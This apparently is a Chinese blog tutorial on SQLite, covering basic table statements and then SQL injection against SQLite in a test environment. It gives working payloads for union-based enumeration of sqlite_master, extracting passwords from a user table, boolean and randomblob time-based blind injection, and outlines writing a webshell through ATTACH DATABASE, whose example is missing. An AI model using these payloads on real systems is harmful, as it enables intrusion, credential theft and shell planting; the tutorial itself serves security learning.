Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多
1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema
但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型
2.sqlite并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)
基本增删改查
创建表语句
create table wafa(name varchar(255),username varchar(255));
插入数据语句
insert into wafa (name,username) values ('bbq','bbcd');
增加字段
alter table wafa add column id int;
查询语句
select name from wafa where username='bbcd';
修改字段数据
Update wafa set username=’tcp’ where name=’bbq’;
这里注意,sqlite不能完全支持sql语句
如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,
重新创建表,再把旧表数据放到新表里,最后删除旧表
alter table wafa rename to wifi;
create table wafa(name varchar(200)notnull,username varchar(200)notnull);
insert into wafa(name,username)select name,username from wifi;
drop table wifi;
联合查询:
这里的测试环境里不需要去闭合
首先判断回显点,先判断当前页面字段数
Orderby3
判断出当前有3个字段
然后就是判断显错位
And1=2unionselect1,2,3
查询版本:
and1=2unionselect1,2,sqlite_version()
查询当前表
and1=2unionselect1,2,name from sqlite_master limit 1,1
可以通过limit去筛选其他数据,但只能显示一条
(这里因为数据库里的排序问题,目标表在第二位)
查询字段
and1=2unionselect1,2,sql from sqlite_master limit 1,1
可以通过去查询sqlite_master里的sql字段来得到字段信息
会输出整条你建立表的语句
查询数据
and1=2unionselect1,2,password from user limit 0,1
当然,sqlite也有查询多条数据的方法
可以使用group_concat
and1=2unionselect1,2,group_concat(name)from user limit 0,1
盲注
sqlite注入也可以使用盲注
基本和mysql的差不多,但是sqlite好像不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写
查询数据表长度
and(select length(name)from sqlite_master limit 0,1)=4
如果查询失败的话 查询表名
and substr((select name from sqlite_master limit 0,1),1,1)='u'
这里区分大小写
and substr((select sql from sqlite_master limit 0,1),1,1)='C'
因为这里是输出整条你建立表的语句,所以要慢慢查
查询数据
and substr((select password from user limit 0,1),2,1)='i'
时间盲注
Sqlite没有sleep函数,但是可以利用randomblob函数,
这个函数作用是生成了一个N字节的blob,可以通过这个来延时
and1=(casewhen(substr(sqlite_version(),1,1)='3')then randomblob(1000000000)else0end)
Getshell
使用ATTACH函数来操作
这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行
函数格式
ATTACH DATABASE file_name AS database_name
这里我们通过去建立一个文件,然后再后续通过命令去插入payload
因为这个是建立库的语句,后续通过建立表的方式去写入shell
例:
效果如下
暂无评论内容